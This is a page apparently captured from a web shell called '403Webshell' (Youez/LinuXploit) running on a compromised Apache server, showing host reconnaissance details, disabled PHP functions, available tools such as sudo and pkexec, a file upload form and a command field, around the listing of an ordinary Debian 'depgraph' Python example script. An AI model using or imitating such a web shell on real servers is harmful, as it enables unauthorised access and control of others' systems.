403Webshell
Server IP : 104.21.38.3  /  Your IP : 172.71.124.234
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/python3-debian/examples/deb822/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/doc/python3-debian/examples/deb822/depgraph
#!/usr/bin/python3

# depgraph
# Copyright (C) 2008 Stefano Zacchiroli <[email protected]>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.

"""Graph the dependencies of all packages contained in a given Packages
file.

Only consider Depends fields. Versioned dependencies are considered as they
were not versioned. The graph is returned in output as a (non normalized)
graphviz graph suitable to be processed by dot (for an unstable/main Packages
file, generating the final graph will take a while ...)."""

import sys
from debian import deb822

__fresh_id = 0

def main():
    if len(sys.argv) != 2:
        print("Usage: depgraph PACKAGES_FILE")
        sys.exit(2)

    def get_id():
        global __fresh_id
        __fresh_id += 1
        return ("NODE_%d" % __fresh_id)

    def emit_arc(node1, node2):
        print('  "%s" -> "%s" ;' % (node1, node2))
    def emit_node(node, dsc):
        print('  "%s" [label="%s"] ;' % (node, dsc))

    print("digraph depgraph {")
    for pkg in deb822.Packages.iter_paragraphs(open(sys.argv[1])):
        name = pkg['package']
        rels = pkg.relations
        for deps in rels['depends']:
            if len(deps) == 1:
                emit_arc(name, deps[0]['name'])
            else:   # output an OR node
                or_node = get_id()
                emit_arc(name, or_node)
                emit_node(or_node, 'OR')
                for dep in deps:
                    emit_arc(or_node, dep['name'].lower())
                    # even though it is forbidden by policy, there are some
                    # dependencies with upper case letter in the archive,
                    # apparently apt-get turn them to lowercase ...
    print("}")

if __name__ == '__main__':
    main()


Youez - 2016 - github.com/yon3zu
LinuXploit